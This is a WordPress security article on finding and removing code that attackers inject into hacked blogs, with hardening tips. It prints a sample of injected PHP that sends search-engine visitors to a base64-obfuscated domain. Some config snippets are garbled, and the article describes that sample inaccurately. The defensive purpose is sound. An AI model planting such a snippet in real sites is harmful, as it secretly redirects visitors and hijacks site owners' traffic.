As WordPress becomes more and more popular, blogs powered by WP are increasingly exposed to hacking attacks and attempts to “hijack” blogs. Recently, a large number of blogs have been taken over by spammers and hackers who do not fully take over the blog, but instead insert hidden code, backdoors, ads, and especially links to spam sites.
Although WordPress is one of the most secure blogging platforms, new security holes are constantly being discovered (and patched as quickly as possible). Therefore, always remember to update to the latest version of WordPress.
If you do not have the latest version of WordPress, 2.5.1, there is a high probability that your site has been hacked, even if everything appears to be working fine. It often happens that a backdoor has been inserted, giving the hacker access to your blog, and your password may also be known to the attacker. We recommend that you upgrade WordPress immediately and change your password.
Look for hidden code
Thoroughly check all files in the WordPress theme you are using, as these are not upgraded automatically. This is usually where hidden code is inserted, mainly using the eval() and base64_decode() commands. Look for code like the following, typically found in your header.php:
<?php $seref=array("google","msn","live","altavista","ask","yahoo","aol",
"cnn","weather","alexa");$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false)
{ $ser="1"; break; }if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWxc0cy5uZXQ=")."/"); exit; }? >
Hackers use code like this to insert hidden links on your site that are invisible to normal visitors, but visible to search engines. Therefore, check all files for code and especially links that should not be there.
Check your .htaccess
There have also been examples of hackers using .htaccess to gain access to WP-Admin. Open your .htaccess file located in your WordPress directory. If nothing has been changed, it should look like this:
# BEGIN WordPress\nRewriteEngine On\nRewriteBase /\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [ L]\n# END WordPress
These lines may also be present:
<if module mod_security.c>\n<files async-upload.php>\nSecFilterEngine Off>\nSecFilterScanPOST Off>\n</files>\n</ifmodule>If there is any other code than what you have added yourself, it is best to update all your WordPress files (including .htaccess, of course).
Harden your blog
WordPress blogs are automatically scanned by hackers for version numbers, making it easier to find and hack outdated blogs. WordPress uses a meta tag to display the version, which looks like this:
You can safely remove this code from your header.php.
<meta content="WordPress <?php bloginfo('version'); ? />" name="generator" />
A few more tips: restrict access to your wp-admin folder using .htaccess. Add an empty index.html file to your plugins folder to hide which plugins you are using — alternatively, use an index.php file that redirects to your blog by adding <?php header("Location: http://www.yourdomain.com"); ?> to it and uploading it. Use security scanning tools to test your setup. Finally, always use the latest version of WordPress, strong passwords, and remember to make backups.